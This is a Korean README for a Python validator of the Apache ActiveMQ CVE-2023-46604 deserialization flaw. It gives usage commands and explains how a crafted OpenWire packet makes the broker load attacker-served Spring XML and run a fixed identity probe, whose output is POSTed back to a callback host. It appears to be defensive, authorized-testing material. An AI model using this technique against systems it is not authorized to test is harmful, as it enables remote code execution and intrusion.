
Apache ActiveMQ CVE-2023-46604용 비파괴적 검증 도구입니다. 제작된 OpenWire 패킷을 전송하고, HTTP 콜백 서버를 사용하여 RCE 또는 XML 로딩을 확인하며, 승인된 침투 테스트를 위한 CSV/JSON 증거를 생성합니다.
Apache ActiveMQ CVE-2023-46604를 위한 단일 파일, 비파괴적 검증기입니다. 자체 HTTP 콜백 서버를 시작하고, 대상별 Spring XML을 메모리에서 생성하며, 제작된 OpenWire 패킷을 전송하고, 고유 토큰으로 콜백을 연관시킨 다음 CSV/JSON 증거를 기록합니다.
이 프로젝트는 공인된 침투 테스트 및 자산 검증을 위해 설계되었습니다. 리버스 셸, 무제한 명령 실행, CIDR 확장, 지속성 또는 페이로드 스테이징을 의도적으로 구현하지 않습니다.
두 가지 고정 증명 모드를 사용할 수 있습니다:
rce는 고정된 읽기 전용 ID 프로브를 실행하고 그 출력을 내장 HTTP 서버로 반환합니다. 콜백은 ActiveMQ 서비스 컨텍스트에서 운영체제 명령 실행을 확인합니다.xml은 빈 Spring 컨텍스트를 제공합니다. 가져오기(fetch)는 제작된 OpenWire 메시지가 대상으로 하여금 ClassPathXmlApplicationContext를 인스턴스화하고 공격자가 제어하는 XML을 검색하도록 유발했음을 확인하며, 프로세스를 시작하지 않습니다.XML 파일을 별도로 생성하거나 호스팅할 필요가 없습니다.
--fail-on-vuln 종료 코드기본 OpenWire 포트는 61616이지만, 비기본 포트도 지원됩니다.
예제에서는 문서 전용 주소를 사용하십시오; 승인된 자산으로 교체하십시오.
python3 activemq_validator.py \
--authorized \
--target 192.0.2.10:61616 \
--callback-host 192.0.2.50
스크립트는 TCP/8000에서 콜백 서버를 자동으로 시작하고, 생성된 XML을 제공하며, OpenWire 패킷을 전송하고, 증거를 기다린 다음 결과 테이블을 출력하고 다음을 기록합니다:
activemq-cve-2023-46604-results.csv
python3 activemq_validator.py \
--authorized \
--target mq01.example.test:61616 \
--target mq02.example.test:61616 \
--target tcp://192.0.2.23:61500 \
--callback-host 192.0.2.50 \
--workers 4 \
--json-output results.json
targets.txt 생성:
# 한 줄에 명시적으로 승인된 호스트 하나
mq01.example.test:61616
192.0.2.21:61616
tcp://192.0.2.22:61500
ssl://mq-secure.example.test:61617
실행:
python3 activemq_validator.py \
--authorized \
--targets-file targets.txt \
--callback-host 192.0.2.50 \
--http-port 8000 \
--platform linux \
--proof rce \
--workers 8 \
--wait 15 \
--output findings.csv \
--json-output findings.json
대상 파일에는 빈 줄과 #로 시작하는 주석이 포함될 수 있습니다. CIDR 확장은 의도적으로 지원되지 않습니다; 승인된 인벤토리를 명시적으로 열거하십시오.
단순 라우팅 네트워크의 경우 --callback-host를 생략하십시오:
python3 activemq_validator.py \
--authorized \
--target 192.0.2.10:61616
도구는 첫 번째 대상으로 라우팅하는 데 사용되는 로컬 소스 주소를 선택합니다. NAT, VPN, 컨테이너, 점프 호스트 또는 다중 홈 시스템을 통해 테스트할 때는 --callback-host를 지정하십시오.
python3 activemq_validator.py \
--authorized \
--target 192.0.2.30:61616 \
--callback-host 192.0.2.50 \
--platform windows \
--proof rce
Windows 프로브는 고정된 비대화형 PowerShell 명령을 사용하여 서비스 ID, 컴퓨터 이름 및 OS 버전을 반환합니다. 대화형 셸을 제공하지 않습니다.
python3 activemq_validator.py \
--authorized \
--targets-file targets.txt \
--callback-host 192.0.2.50 \
--proof xml
이 모드는 ProcessBuilder를 인스턴스화하지 않습니다.
ssl:// 대상을 사용하십시오:
python3 activemq_validator.py \
--authorized \
--target ssl://mq-secure.example.test:61617 \
--callback-host 192.0.2.50
신뢰할 수 없는 인증서가 있는 내부 리스너의 경우:
python3 activemq_validator.py \
--authorized \
--target ssl://mq-secure.example.test:61617 \
--callback-host 192.0.2.50 \
--tls-no-verify
--tls-no-verify는 OpenWire TLS 연결에만 영향을 줍니다. 콜백 서버는 HTTP입니다.
| 상태 | 의미 |
|---|---|
CONFIRMED_VULNERABLE_RCE | 대상이 XML을 가져왔고 고정 ID 명령이 증거를 반환했습니다. |
CONFIRMED_VULNERABLE_XML_LOAD | xml 모드에서 대상이 고유 XML 문서를 가져왔습니다. |
VULNERABLE_XML_LOAD_ONLY | rce 모드에서 XML 검색이 발생했지만 명령 콜백은 발생하지 않았습니다. 취약한 클래스 인스턴스화 경로가 확인되었습니다; 콜백 도구, 이그레스 또는 프로세스 실행이 제한될 수 있습니다. |
NOT_CONFIRMED | 패킷이 전송되었지만 마감 전에 연관된 HTTP 증거가 도착하지 않았습니다. 이는 호스트가 패치되었음을 증명하지 않습니다. |
UNREACHABLE | TCP/TLS 연결 또는 패킷 전송이 실패했습니다. |
패치된 브로커, 잘못된 포트, 이그레스 필터링, 라우팅 문제, TLS 불일치 및 엔드포인트 제어는 모두 콜백 기반 검증에 영향을 줄 수 있습니다. 보고 증거로 CSV/JSON 타임스탬프와 콜백 출력을 보존하십시오.
Linux ID 프로브는 다음과 유사한 출력을 반환합니다:
CVE-2023-46604 RCE CONFIRMED
uid=997(activemq) gid=997(activemq) groups=997(activemq)
user=activemq
host=mq01
os=Linux 5.15.0-...
HTTP POST에 curl, wget 및 BusyBox wget을 시도합니다. XML이 가져와졌지만 해당 클라이언트가 없는 경우 결과는 오탐(false negative)이 아닌 VULNERABLE_XML_LOAD_ONLY입니다.
0: 검증이 완료되었거나 --fail-on-vuln 없이 취약점이 발견됨2: 취약한 결과가 하나 이상 발견되었고 --fail-on-vuln이 제공됨CI 사용 예:
python3 activemq_validator.py \
--authorized \
--targets-file targets.txt \
--callback-host 192.0.2.50 \
--fail-on-vuln
CVE-2023-46604는 Java OpenWire 역마샬링에 영향을 줍니다. 검증기는 예외 클래스가 다음과 같은 느슨한 마샬링 OpenWire ExceptionResponse를 전송합니다:
org.springframework.context.support.ClassPathXmlApplicationContext
예외 메시지는 생성된 Spring XML의 고유 URL입니다. 취약한 ActiveMQ 코드는 해당 URL로 공격자가 선택한 클래스를 인스턴스화합니다. rce 모드에서 Spring 컨텍스트는 고정 ProcessBuilder 프로브를 시작합니다; xml 모드에서 컨텍스트는 비어 있습니다.
모든 대상은 다른 토큰을 받습니다, 예:
http://192.0.2.50:8000/poc/<unique-token>.xml
http://192.0.2.50:8000/cb/<same-token>
이를 통해 동시 콜백을 올바른 대상에 귀속시킬 수 있습니다.
--authorized 필수 승인 확인
-t, --target VALUE 명시적 대상; 반복 가능
-T, --targets-file FILE 한 줄에 명시적 대상 하나; 반복 가능
--default-port PORT 기본값 61616
--tls 모든 대상에 TLS 사용
--tls-no-verify OpenWire TLS 인증서 검증 비활성화
--callback-host HOST 대상이 HTTP 콜백에 사용하는 주소
--bind-host HOST 로컬 HTTP 바인드 주소; 기본값 0.0.0.0
--http-port PORT 로컬 HTTP 포트; 기본값 8000; 0은 사용 가능한 포트 선택
--proof rce|xml 고정 증명 모드; 기본값 rce
--platform linux|windows RCE 모드의 대상 OS; 기본값 linux
--workers N 병렬 작업자; 최대 32
--connect-timeout SECONDS TCP/TLS 타임아웃
--wait SECONDS 콜백 수집 창
--retries N 패킷 전송 시도 1~3회
--retry-delay SECONDS 시도 사이 지연
-o, --output FILE CSV 증거 대상
--json-output FILE 선택적 JSON 대상
--verbose HTTP 요청 로그 표시
--fail-on-vuln 취약한 결과 발견 시 종료 코드 2
python3 -m unittest discover -s tests -v
테스트는 대상 파싱, CIDR 거부, XML 형식 적합성 및 OpenWire 프레임 구조를 대상에 접촉하지 않고 검증합니다.
ActiveMQ를 수정되고 현재 지원되는 릴리스로 업그레이드하십시오. Apache 권고는 당시 현재 브랜치의 수정 릴리스로 ActiveMQ 5.15.16, 5.16.7, 5.17.6, 5.18.3, 6.0.0 및 Artemis 2.31.2를 식별했습니다. 또한 OpenWire 리스너를 신뢰할 수 있는 클라이언트로 제한하고 예기치 않은 외부 XML 검색을 모니터링하십시오.
이 저장소는 방어적 검증 및 승인된 보안 평가를 위한 것입니다. 의도적으로 다음을 생략합니다:
--command 실행고정 ID 프로브는 대화형 접근을 설정하지 않고 원격 명령 실행과 서비스 계정 영향을 입증하기에 충분합니다.
https://activemq.apache.org/news/cve-2023-46604https://activemq.apache.org/components/classic/securityhttps://github.com/apache/activemqhttps://github.com/vulhub/vulhub/tree/master/activemq/CVE-2023-46604MIT. LICENSE를 참조하십시오.